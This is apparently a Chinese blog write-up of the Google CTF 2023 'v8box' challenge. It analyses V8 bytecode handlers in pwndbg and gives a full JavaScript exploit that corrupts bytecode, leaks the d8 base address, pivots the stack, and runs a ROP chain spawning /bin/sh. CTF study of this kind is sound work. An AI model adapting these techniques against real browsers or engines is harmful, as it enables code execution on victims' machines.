这里是Ldar指令对应的字节码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> job 0x123e00195bbd
0x123e00195bbd: [BytecodeArray] in OldSpace
- map: 0x123e00000979 <Map(BYTECODE_ARRAY_TYPE)>
Parameter count 3
Register count 0
Frame size 0
0x123e00195bdc @ 0 : 0b 04 Ldar a1
0x123e00195bde @ 2 : 38 03 00 Add a0, [0]
0x123e00195be1 @ 5 : 44 01 01 AddSmi [1], [1]
0x123e00195be4 @ 8 : aa Return
Constant pool (size = 0)
Handler Table (size = 0)
Source Position Table (size = 0)
pwndbg>

下面是Ldar指令对应的汇编,r12寄存器是bytecodearray的基址,r9是索引。可以不难看出这里的返回值rac由rbx赋值,rbx是通过rdx+rbx索引得到,然后rdx由rbp赋值,也就是说这个指令会返回一个栈上的数值。

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> disassemble Builtins_LdarHandler
Dump of assembler code for function Builtins_LdarHandler:
0x000061c54bbfb740 <+0>: movsx rbx,BYTE PTR [r12+r9*1+0x1]
0x000061c54bbfb746 <+6>: mov rdx,rbp
0x000061c54bbfb749 <+9>: mov rbx,QWORD PTR [rdx+rbx*8]
0x000061c54bbfb74d <+13>: add r9,0x2
0x000061c54bbfb751 <+17>: movzx edx,BYTE PTR [r9+r12*1]
0x000061c54bbfb756 <+22>: mov rcx,QWORD PTR [r15+rdx*8]
0x000061c54bbfb75a <+26>: mov rax,rbx
0x000061c54bbfb75d <+29>: jmp rcx
0x000061c54bbfb75f <+31>: nop
End of assembler dump.
pwndbg>

通过demo可以看下这个的效果

1
2
3
4
5
6
7
8
ResetOffset();
EditBytecodeArray(0xb);
EditBytecodeArray(0x10);
EditBytecodeArray(0xaa);

stop()
var leak = h();
logg("leak",leak);

此时的指令执行情况

此时栈和leak的情况

由于指针压缩的存在,只能泄漏出低32位的值,同时由于类型是smi,所以会对应的 >>1 ,这里0x000000000fdb6c0e * 2 = 0x1fb6d81c

下面是Star的汇编指令,与Ldar同理。这里将rax,也就是上一次执行的返回值,赋给栈上。

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> disassemble Builtins_StarHandler 
Dump of assembler code for function Builtins_StarHandler:
0x000056c61fcb4d00 <+0>: movsx ebx,BYTE PTR [r12+r9*1+0x1]
0x000056c61fcb4d06 <+6>: mov rdx,rbp
0x000056c61fcb4d09 <+9>: movsxd rbx,ebx
0x000056c61fcb4d0c <+12>: mov QWORD PTR [rdx+rbx*8],rax
0x000056c61fcb4d10 <+16>: add r9,0x2
0x000056c61fcb4d14 <+20>: movzx ebx,BYTE PTR [r9+r12*1]
0x000056c61fcb4d19 <+25>: mov rcx,QWORD PTR [r15+rbx*8]
0x000056c61fcb4d1d <+29>: jmp rcx
0x000056c61fcb4d1f <+31>: nop
End of assembler dump.

执行了这一段代码

1
2
3
4
5
6
7
ResetOffset();
EditBytecodeArray(0xb);
EditBytecodeArray(0x10);
EditBytecodeArray(0x18);
EditBytecodeArray(0x0);
EditBytecodeArray(0xaa);

不难从下面看出,rbp+0x0处的值被修改为rax寄存器内的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
───────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────────────────────────
RAX 0x6014eb5cb81c (Builtins_JSEntryTrampoline+92) ◂— mov rsp, rbp
RBX 0
RCX 0x6014eb712d00 (Builtins_StarHandler) ◂— movsx ebx, byte ptr [r12 + r9 + 1]
RDX 0x7ffc6cc67348 —▸ 0x6014eb5cb81c (Builtins_JSEntryTrampoline+92) ◂— mov rsp, rbp
RDI 0x255e00194d4d ◂— 0x190000021900182a
RSI 0x255e00194c35 ◂— 0xe9000000060018ff
R8 0x7ffc6cc67360 —▸ 0x255e00000251 ◂— 1
R9 0x21
R10 0xb
R11 2
R12 0x255e0019507d ◂— 0x1900000012000009 /* '\t' */
R13 0x60151033d810 —▸ 0x255e00008ac9 ◂— 0x610000021900000d /* '\r' */
R14 0x255e00000000 ◂— 0x29000
R15 0x60151036b8d0 —▸ 0x6014eb712200 (Builtins_WideHandler) ◂— add r9, 1
RBP 0x7ffc6cc67348 —▸ 0x6014eb5cb81c (Builtins_JSEntryTrampoline+92) ◂— mov rsp, rbp
RSP 0x7ffc6cc67318 —▸ 0x6014eb5cd927 (Builtins_InterpreterEntryTrampoline+167) ◂— mov r12, qword ptr [rbp - 0x20]
*RIP 0x6014eb712d10 (Builtins_StarHandler+16) ◂— add r9, 2
────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────────────────────────────────────────────
0x6014eb71275d <Builtins_LdarHandler+29> jmp rcx <Builtins_StarHandler>

0x6014eb712d00 <Builtins_StarHandler> movsx ebx, byte ptr [r12 + r9 + 1] EBX, [0x255e0019509f] => 0
0x6014eb712d06 <Builtins_StarHandler+6> mov rdx, rbp RDX => 0x7ffc6cc67348 —▸ 0x7ffc6cc673c0 —▸ 0x7ffc6cc673e8 —▸ 0x7ffc6cc67450 ◂— ...
0x6014eb712d09 <Builtins_StarHandler+9> movsxd rbx, ebx RBX => 0
0x6014eb712d0c <Builtins_StarHandler+12> mov qword ptr [rdx + rbx*8], rax [0x7ffc6cc67348] <= 0x6014eb5cb81c (Builtins_JSEntryTrampoline+92) ◂— mov rsp, rbp
► 0x6014eb712d10 <Builtins_StarHandler+16> add r9, 2 R9 => 35 (0x21 + 0x2)
0x6014eb712d14 <Builtins_StarHandler+20> movzx ebx, byte ptr [r9 + r12] EBX, [0x255e001950a0] => 0xaa
0x6014eb712d19 <Builtins_StarHandler+25> mov rcx, qword ptr [r15 + rbx*8] RCX, [0x60151036be20] => 0x6014eb7257c0 (Builtins_ReturnHandler) ◂— push rbp
0x6014eb712d1d <Builtins_StarHandler+29> jmp rcx <Builtins_ReturnHandler>

0x6014eb7257c0 <Builtins_ReturnHandler> push rbp
0x6014eb7257c1 <Builtins_ReturnHandler+1> mov rbp, rsp RBP => 0x7ffc6cc67310 —▸ 0x7ffc6cc67348 —▸ 0x6014eb5cb81c (Builtins_JSEntryTrampoline+92) ◂— ...
──────────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffc6cc67318 —▸ 0x6014eb5cd927 (Builtins_InterpreterEntryTrampoline+167) ◂— mov r12, qword ptr [rbp - 0x20]
01:0008│-028 0x7ffc6cc67320 ◂— 0x3e /* '>' */
02:0010│-020 0x7ffc6cc67328 —▸ 0x255e0019507d ◂— 0x1900000012000009 /* '\t' */
03:0018│-018 0x7ffc6cc67330 ◂— 1
04:0020│-010 0x7ffc6cc67338 —▸ 0x255e00194d4d ◂— 0x190000021900182a
05:0028│-008 0x7ffc6cc67340 —▸ 0x255e00194c35 ◂— 0xe9000000060018ff
06:0030│ rdx rbp 0x7ffc6cc67348 —▸ 0x6014eb5cb81c (Builtins_JSEntryTrampoline+92) ◂— mov rsp, rbp
07:0038│+008 0x7ffc6cc67350 —▸ 0x6014eb5cd927 (Builtins_InterpreterEntryTrampoline+167) ◂— mov r12, qword ptr [rbp - 0x20]
────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────
► 0 0x6014eb712d10 Builtins_StarHandler+16
1 0x6014eb5cd927 Builtins_InterpreterEntryTrampoline+167
2 0x3e None
3 0x255e0019507d None
4 0x1 None
5 0x255e00194d4d None
6 0x255e00194c35 None
7 0x6014eb5cb81c Builtins_JSEntryTrampoline+92
───────────────────────────────────────────────────────────────────────────────────[ THREADS (16 TOTAL) ]────────────────────────────────────────────────────────────────────────────────────
► 1 "d8" stopped: 0x6014eb712d10 <Builtins_StarHandler+16>
2 "V8 DefaultWorke" stopped: 0x71e50ec91117 <__futex_abstimed_wait_cancelable64+231>
3 "V8 DefaultWorke" stopped: 0x71e50ec91117 <__futex_abstimed_wait_cancelable64+231>
4 "V8 DefaultWorke" stopped: 0x71e50ec91117 <__futex_abstimed_wait_cancelable64+231>
Not showing 12 thread(s). Use set context-max-threads <number of threads> to change this.
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> tele $rbp
00:0000│ rdx rbp 0x7ffc6cc67348 —▸ 0x6014eb5cb81c (Builtins_JSEntryTrampoline+92) ◂— mov rsp, rbp
01:0008│+008 0x7ffc6cc67350 —▸ 0x6014eb5cd927 (Builtins_InterpreterEntryTrampoline+167) ◂— mov r12, qword ptr [rbp - 0x20]
02:0010│+010 0x7ffc6cc67358 —▸ 0x255e001822d9 ◂— 0x190004e39e001930
03:0018│ r8 0x7ffc6cc67360 —▸ 0x255e00000251 ◂— 1
04:0020│+020 0x7ffc6cc67368 —▸ 0x255e00000251 ◂— 1
05:0028│+028 0x7ffc6cc67370 —▸ 0x255e00194959 ◂— 3
06:0030│+030 0x7ffc6cc67378 ◂— 8
07:0038│+038 0x7ffc6cc67380 ◂— 0x154
pwndbg>

利用思路

通过上面的分析,此时已经具备了泄漏栈上低4字节数据和栈上8字节数据写的原语。

首先需要解决的是如何控制RIP,通过栈上8字节写的方法,其实已经可以控制rbp了,通过修改字节数组,可以多执行几次leave,这样就可以实现栈迁移,其实这里就可以劫持控制流了。

那么如果获取gadget,也就是泄漏d8的基地值呢,从栈上的值是可以发现一些位于d8的代码片段的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> tele $rbp
00:0000│ rdx rbp 0x7ffc6cc67348 —▸ 0x6014eb5cb81c (Builtins_JSEntryTrampoline+92) ◂— mov rsp, rbp
01:0008│+008 0x7ffc6cc67350 —▸ 0x6014eb5cd927 (Builtins_InterpreterEntryTrampoline+167) ◂— mov r12, qword ptr [rbp - 0x20]
02:0010│+010 0x7ffc6cc67358 —▸ 0x255e001822d9 ◂— 0x190004e39e001930
03:0018│ r8 0x7ffc6cc67360 —▸ 0x255e00000251 ◂— 1
04:0020│+020 0x7ffc6cc67368 —▸ 0x255e00000251 ◂— 1
05:0028│+028 0x7ffc6cc67370 —▸ 0x255e00194959 ◂— 3
06:0030│+030 0x7ffc6cc67378 ◂— 8
07:0038│+038 0x7ffc6cc67380 ◂— 0x154
pwndbg> xinfo 0x6014eb5cb81c
Extended information for virtual address 0x6014eb5cb81c:

Containing mapping:
0x6014eadf0000 0x6014eb934000 r-xp b44000 678000 d8

Offset information:
Mapped Area 0x6014eb5cb81c = 0x6014eadf0000 + 0x7db81c
File (Base) 0x6014eb5cb81c = 0x6014ea777000 + 0xe5481c
File (Segment) 0x6014eb5cb81c = 0x6014eadf0000 + 0x7db81c
File (Disk) 0x6014eb5cb81c = /home/flyyy/Desktop/workspace/browser/v8/gctf23/v8/out.gn/x64.release/d8 + 0xe5381c

Containing ELF sections:
.text 0x6014eb5cb81c = 0x6014eadf0000 + 0x7db81c
pwndbg>

对于地址随机化,这里的低四位字节是变化很小/基本上不变化,那么现在就是需要泄漏d8基地址的高位字节。因为堆块开头部分还是具有读权限的,所以高位字节可以从堆块开头读到,然后拼接起来,再减去尾部的偏移,就可以拿到d8的基地值,拿到d8的基地值之后,就可以获取gadget,通过这些gadget写rop提权

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> tele 0x15400040000 10
00:0000│ 0x15400040000 ◂— 0x40000
01:0008│ 0x15400040008 ◂— 0x12
02:0010│ 0x15400040010 —▸ 0x5e26e0ce2278 ◂— 0x1000
03:0018│ 0x15400040018 —▸ 0x15400042130 ◂— 0x600000089
04:0020│ 0x15400040020 —▸ 0x15400080000 ◂— 0x40000
05:0028│ 0x15400040028 ◂— 0x3ded0
06:0030│ 0x15400040030 ◂— 0
07:0038│ 0x15400040038 ◂— 0x2130 /* '0!' */
08:0040│ 0x15400040040 —▸ 0x5e26e0d1a308 —▸ 0x5e26c6ac76e0 (vtable for v8::internal::SemiSpace+16) —▸ 0x5e26c5fd78e0 (v8::internal::__RT_impl_Runtime_GetSubstitution(v8::internal::Argumenr
09:0048│ 0x15400040048 —▸ 0x5e26e0cd1700 —▸ 0x5e26c6ae8ac0 (vtable for v8::base::BoundedPageAllocator+16) —▸ 0x5e26c6910140 (v8::base::BoundedPageAllocator::~BoundedPageAllocator()) ◂— pur
pwndbg>

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
function stop(){
%SystemBreak();
}

function p(arg){
%DebugPrint(arg);
}

function spin(){
while(1){};
}

function hex(str){
return str.toString(16).padStart(16,0);
}

function logg(str,val){
console.log("[+] "+ str + ": " + "0x" + hex(val));
}

function h(a,b){
return a+b+1;
}

tag = 1;
var offset = 0x20
let memory = new DataView(new Sandbox.MemoryView(0, 0x100000000));

function addressOf(obj){
return Sandbox.getAddressOf(obj) | tag;
}

function getField(obj, offset) {
return memory.getUint32((obj + offset)& (~tag), true);
}

function setField32(obj, offset, val){
// logg("setField32 addr",obj+(offset));
memory.setUint32(Number((obj + offset) & (~tag)), Number(val), true);
}

function setField64(obj, offset, val){
let val_lo = val & 0xffffffffn;
let val_hi = (val & 0xffffffff00000000n) >> 32n;
// logg("setField64 addr",obj+(offset));
// logg("val",val);
// logg("val_lo",val_lo);
// logg("val_hi",val_hi);
setField32(obj,offset,val_lo);
setField32(obj,offset+0x4,val_hi);
}

function getu64(hi, lo) {
hi = BigInt(hi);
lo = BigInt(lo);
return (hi << 32n) + lo;
}


function EditBytecodeArray(val){
// logg("edid addr",BigInt(bytecode_addr + offset) + sandbox_base);
memory.setUint8((bytecode_addr + offset),val);
++offset;
}

function ResetOffset(){
offset = 0x20;
}

function CopyByteCode(){
for (let i = 0; i < bc_struct.length; ++i){
memory.setUint8(Number(FakeBytecodeArrayAddr+BigInt(i)),bc_struct[i]);
}
}

h();

var sandbox_base_hi = getField(0,0x4001c);
var sandbox_base_lo = getField(0,0x40020) - 0x80000;
var sandbox_base = getu64(sandbox_base_hi,sandbox_base_lo);
var d8_hi = getField(0,0x40014);

var shared_info = getField(addressOf(h),0xc);
var bytecode_addr = getField(shared_info,0x4) & (~tag);

logg("sandbox_base addr",sandbox_base);
logg("shared_info addr",BigInt(shared_info) + sandbox_base);
logg("bytecode_addr",BigInt(bytecode_addr) + sandbox_base);

// inst -> Ldr/Star + offset
// 0xb -> Ldr
// 0x18 -> Star
ResetOffset();
EditBytecodeArray(0xb);
EditBytecodeArray(0x10);
EditBytecodeArray(0xaa);


var d8_lo = h() * 2;
d8_lo = Number(d8_lo) >>> 0;
var d8_base = getu64(d8_hi,d8_lo) - 0xe5481cn;

// logg("d8_lo",d8_lo);
// logg("d8_hi",d8_hi);
logg("d8_base",d8_base);

/*
0x00000000007ab7e3 : pop rdi ; ret
0x00000000007f01da : pop rsi ; ret
0x0000000000755f1b : pop rdx ; ret
0x0000000000679058 : ret
0x11bb840 ---> d8 execvp@plt
*/

var execvp_plt = 0x11bb840n + d8_base;
var pop_rdi_ret = 0x00000000007ab7e3n + d8_base;
var pop_rsi_ret = 0x00000000007f01dan + d8_base;
var pop_rdx_ret = 0x0000000000755f1bn + d8_base;
var ret = 0x0000000000679058n + d8_base;

logg("execvp_plt",execvp_plt);
logg("pop_rdi_ret",pop_rdi_ret);
logg("pop_rsi_ret",pop_rsi_ret);
logg("pop_rdx_ret",pop_rdx_ret);
logg("ret",ret);

var FakeStack = new Array(0x1000).fill(0);
var FakeStackObjectAddr = addressOf(FakeStack);
var FakeStackAddr = getField(FakeStackObjectAddr,0x8) & (~tag);
var RopAddr = BigInt(FakeStackAddr)+sandbox_base+0x30n;

logg("FakeStackObjectAddr",FakeStackObjectAddr);
logg("FakeStackAddr",FakeStackAddr);
logg("RopAddr",RopAddr);

let binsh = 0x68732f6e69622fn;
var binsh_addr = BigInt(FakeStackAddr) + 0xa0n + sandbox_base;

var FakeBytecodeArray = new Array(0x1000);
var FakeBytecodeArrayAddr = BigInt(addressOf(FakeBytecodeArray) & (~tag)) + 0x20n;
logg("FakeBytecodeArrayAddr",FakeBytecodeArrayAddr);

var bc_struct = [
0x79, 0x09, 0x00, 0x00, 0x12, 0x00, 0x00, 0x00,
0x19, 0x02, 0x00, 0x00, 0x61, 0x0f, 0x00, 0x00,
0x51, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x0b, 0x03, 0x18, 0x00, 0xaa, 0x44, 0x01, 0x01,
0xaa, 0x00, 0x00, 0x00, 0x29, 0x09, 0x00, 0x00,
0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x10, 0x02, 0x00, 0x00, 0x99, 0x02, 0x00, 0x00,
0x84, 0xe3, 0x82, 0x00, 0x04, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xb5, 0x42, 0x19, 0x00,
0xfe, 0xff, 0xff, 0xff, 0x51, 0x02, 0x00, 0x00,
0x1c, 0x04, 0x00, 0x00, 0xb4, 0x04, 0x00, 0x00,
0xc9, 0x45, 0x19, 0x00, 0x89, 0x00, 0x00, 0x00,
0x06, 0x00, 0x00, 0x00, 0x69, 0x42, 0x19, 0x00,
0x49, 0x7a, 0x02, 0x00, 0x59, 0x42, 0x19, 0x00,
0x79, 0x09, 0x00, 0x00, 0x44, 0x00, 0x00, 0x00
];

CopyByteCode();

setField64(FakeStackObjectAddr,-0x20,(FakeBytecodeArrayAddr+sandbox_base+0x1n)<<8n);
setField32(FakeStackObjectAddr,-0x19,0n);
setField32(FakeStackObjectAddr,-0x28,0x4600n);
setField32(FakeStackObjectAddr,-0x24,0x0n);

// rop
setField64(FakeStackAddr,0xa0, binsh);

setField32(FakeStackObjectAddr,0x4,0x0n);
setField64(FakeStackObjectAddr,0x8,ret<<8n);
setField64(FakeStackObjectAddr,0x10,0x0n);

setField64(FakeStackAddr,0x38, (pop_rdi_ret));
setField64(FakeStackAddr,0x40, (binsh_addr));
setField64(FakeStackAddr,0x48, (pop_rsi_ret));
setField64(FakeStackAddr,0x50, (0n));
setField64(FakeStackAddr,0x58, (pop_rdx_ret));
setField64(FakeStackAddr,0x60, (0n));
setField64(FakeStackAddr,0x68, (execvp_plt));

ResetOffset();
EditBytecodeArray(0xb);
EditBytecodeArray(0x3);
EditBytecodeArray(0x18);
EditBytecodeArray(0x0);
EditBytecodeArray(0xaa);

h(FakeStack);

参考链接

https://github.com/google/google-ctf/tree/main/2023/quals/sandbox-v8box/solution


GoogleCTF2023-v8box
http://example.com/2025/05/16/GoogleCTF2023-v8box/
作者
flyyy
发布于
2025年5月16日
许可协议